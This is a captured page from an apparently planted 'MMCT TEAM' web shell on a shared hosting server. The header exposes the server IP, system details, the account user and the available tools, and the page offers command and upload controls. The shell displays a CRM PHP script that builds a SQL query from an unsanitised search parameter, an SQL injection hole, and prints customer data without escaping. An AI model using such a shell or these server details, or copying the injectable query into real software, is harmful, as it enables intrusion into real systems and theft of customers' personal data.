MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.135.214.175
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/brmarketingindia.com/../advancepowerresearch.com/../shsindia.com/crm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/brmarketingindia.com/../advancepowerresearch.com/../shsindia.com/crm/fetch_data.php
<?php
include_once('include/config.php');

$tableRowsHTML = '';

// Fetch data query with search query condition
$searchQuery = isset($_GET['search']) ? $_GET['search'] : '';
$sql = "SELECT * FROM `tbl_customer`";
if (!empty($searchQuery)) {
    $sql .= " WHERE `cp_name` LIKE '%$searchQuery%' OR `cust_phone` LIKE '%$searchQuery%' OR `cust_email` LIKE '%$searchQuery%' OR `cust_address` LIKE '%$searchQuery%' OR `cust_state` LIKE '%$searchQuery%'";
}

$result = $db->query($sql);

// Generate HTML for table rows
if ($result->num_rows > 0) {
    $count = 0; // Initialize counter
    while ($row = $result->fetch_assoc()) {
        $count++; // Increment counter
        $tableRowsHTML .= '<tr>';
        // Add table cell HTML for each column
        $tableRowsHTML .= '<td>' . $count . '</td>';
        $tableRowsHTML .= '<td>' . $row['cus_id'] . '</td>';
        $tableRowsHTML .= '<td>' . $row['cp_name'] . '</td>';
        $tableRowsHTML .= '<td>' . $row['cust_phone'] . '</td>';
        $tableRowsHTML .= '<td>' . $row['cust_email'] . '</td>';
        $tableRowsHTML .= '<td>' . $row['cust_address'] . '</td>';
        $tableRowsHTML .= '<td>' . $row['cust_state'] . '</td>';
        $tableRowsHTML .= '<td>'; // Adjust button according to status
        if ($row['cust_status'] == "Active") {
            $tableRowsHTML .= '<button type="button" class="btn btn-primary"><span class="label label-default">Active</span></button>';
        } elseif ($row['cust_status'] == "Archive") {
            $tableRowsHTML .= '<button type="button" class="btn btn-warning"><span class="label label-default">Archive</span></button>';
        } else {
            $tableRowsHTML .= '<button type="button" class="btn btn-danger"><span class="label label-default">Inactive</span></button>';
        }
        $tableRowsHTML .= '</td>';
        $tableRowsHTML .= '<td><input type="checkbox" name="checkedIDs[]" value="' . $row["cus_id"] . '"/><input type="hidden" name="pageID[]" value="' . $row["cus_id"] . '"/></td>';
        $tableRowsHTML .= '<td><a href="edit-customer.php?id=' . $row['cus_id'] . '"><i class="ri-edit-fill" style="font-size: medium; color: green;"></i> </a></td>';
        $tableRowsHTML .= '</tr>';
    }
} else {
    $tableRowsHTML = '<tr><td colspan="10">No matching records found</td></tr>';
}

// Return the HTML content of table rows
echo $tableRowsHTML;

// Close connection
$db->close();
?>

MMCT - 2023